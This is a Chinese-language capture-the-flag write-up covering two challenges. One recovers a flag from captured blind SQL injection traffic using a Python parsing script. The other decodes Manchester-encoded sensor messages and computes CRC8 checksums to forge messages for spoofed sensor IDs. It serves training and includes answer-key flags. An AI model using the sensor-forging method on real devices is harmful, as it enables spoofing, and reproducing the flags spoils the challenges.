題目描述:sql注入
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/4d7c14206a5c4b74a0af595992bbf439.pcapng
題目writeup:
下載附件,獲得一個
pcapng流量包文件,經過wrireshark打開該文件,根據題目描述SQL注入,那麼過濾HTTP協議,對其進行分析
看到不少注入語句,sql注入語句都是字符32開始的,第一波語句結束字符是102,剛好對應的ascii爲f
第二波語句結束字符是108,對應的ascii爲l
![](http://static.javashuo.com/static/loading.gif)
第三波語句結束字符是97,對應的ascii爲a
第四波語句結束字符是103,對應的ascii爲g
第六波語句結束字符是123,對應的ascii爲{
以此類推獲得flag: flag{c2bbf9cecdaf656cf524d014c5bf046c}
也能夠經過python腳本獲取
import re
import os
def getflag(contents):
req_reg = re.compile(r'0,1\),(\d+),1\)\)=(\d+)%23')
results = req_reg.findall(contents)
flag_map = {}
for result in results:
if result[0] in flag_map:
if int(result[1]) > flag_map[result[0]]:
flag_map[result[0]] = int(result[1])
else:
flag_map[result[0]] = int(result[1])
flag = ""
for i in range(1,39):
flag += chr(flag_map[str(i)])
print(flag)
if __name__ == "__main__":
basedir = os.path.dirname(__file__)
filename = "misc.pcapng"
file_path = os.path.join(basedir, filename)
print(filename)
with open(file_path, 'rb') as f:
getflag(f.read())
最終獲得falg:
flag{c2bbf9cecdaf656cf524d014c5bf046c}
題目名稱:傳感器2
題目描述:
已知ID爲0x8893CA58的溫度傳感器未解碼報文爲:3EAAAAA56A69AA55A95995A569AA95565556 爲僞造該類型傳感器的報文ID(其餘報文內容不變),
請給出ID爲0xDEADBEEF的傳感器1的報文校驗位(解碼後hex),以及ID爲0xBAADA555的傳感器2的報文校驗位(解碼後hex),並組合做爲flag提交。
例如,若傳感器1的校驗位爲0x123456,傳感器2的校驗位爲0xABCDEF,則flag爲flag{123456ABCDEF}。
題目writeup:
方法一:
先把16進制3EAAAAA56A69AA55A95995A569AA95565556都轉成2進制,獲得:
1111101010101010101010101001010110101001101001101010100101010110101001010110011001010110100101011010011010101010010101010101100101010101010110
又得知曼切斯特是從低到高跳變表示「1」,從高到低跳變表示「0」,即01->1,10->0。能夠看到二進制除了前4位,後面都是10,01,差分曼切斯特有跳變爲"0",無跳變爲"1
那麼實際上轉換成的二進制爲(去掉前面最前面1111):
101010101010101010101001010110101001101001101010100101010110101001010110011001010110100101011010011010101010010101010101100101010101010110
所以將編碼進行曼切斯特解碼:
00000000001001001101100010001001001111001010010110000100000110000001
轉成16進制獲得:
24d8893ca584181
又得知第一個ID爲0x8893CA58的溫度傳感器就在第一個曼切斯特解碼24d8893ca584181中,是第4位到11位爲:8893ca58,ID轉換成大寫爲:8893CA58
根據上面原理,可將3EAAAAA56A69AA556A965A5999596AA95656,轉換成曼切斯特解碼爲24d8845abf34119,取第4位到11位,ID轉換成大寫爲:8845ABF3
或者
id1 = 0x8893CA58
msg1 = 0x3EAAAAA56A69AA55A95995A569AA95565556
msg2 = 0x3EAAAAA56A69AA556A965A5999596AA95656
def calc(msg):
id=''
s = bin(msg)[6:]
for i in range(2, len(s), 2):
if s[i-2:i] == s[i:i+2]:
id += '0'
else:
id += '1'
return hex(int(id, 2)).upper()
print(calc(msg1))
print(calc(msg2))
根據計算機網絡報文首部的一些學習,這裏我進行了類比,可能校驗位應該是最後幾位,依次嘗試過都無果,但想到,除了最後2位不一樣,中間ID不一樣,其餘均相同,可見校驗位就是最後2位,那麼校驗位的計算應該是用CRC進行計算,而前面的位數是7位,嘗試計算,可是得出的值並非預計的。
後來想到可能缺位了,故又往前算了一位:
獲得:024D 8893CA58 41 81和024D 8845ABF3 41 19
對024D 8893CA58 41和024D 8845ABF3 41進行CRC8運算
能夠獲得81和19,與猜測一致
下面就能夠用這個方法解出flag
帶入ID:DEADBEEF和BAADA555
獲得:024D DEADBEEF 41
https://www.23bei.com/tool-233.html
024D BAADA555 41
計算CRC8,分別獲得:B5和15
方法二:
也能夠經過腳本獲取:
#!/usr/bin/python
def crc(x,y):
while(x>y):
l = len(bin(x)) - len(bin(y))
t = int(bin(y)[2:]+'0'*l,2)
x ^= t
return x
m = 0
for i in range(0x200):
if i < 100:
continue
if crc(0x24d8893ca584100,i) == 0x81 and crc(0x24d8845abf34100,i) == 0x19:
m = i
print i
break
print hex(crc(0x00024ddeadbeef4100,m))
print hex(crc(0x00024dbaada5554100,m))
最終獲得flag:
flag{B515}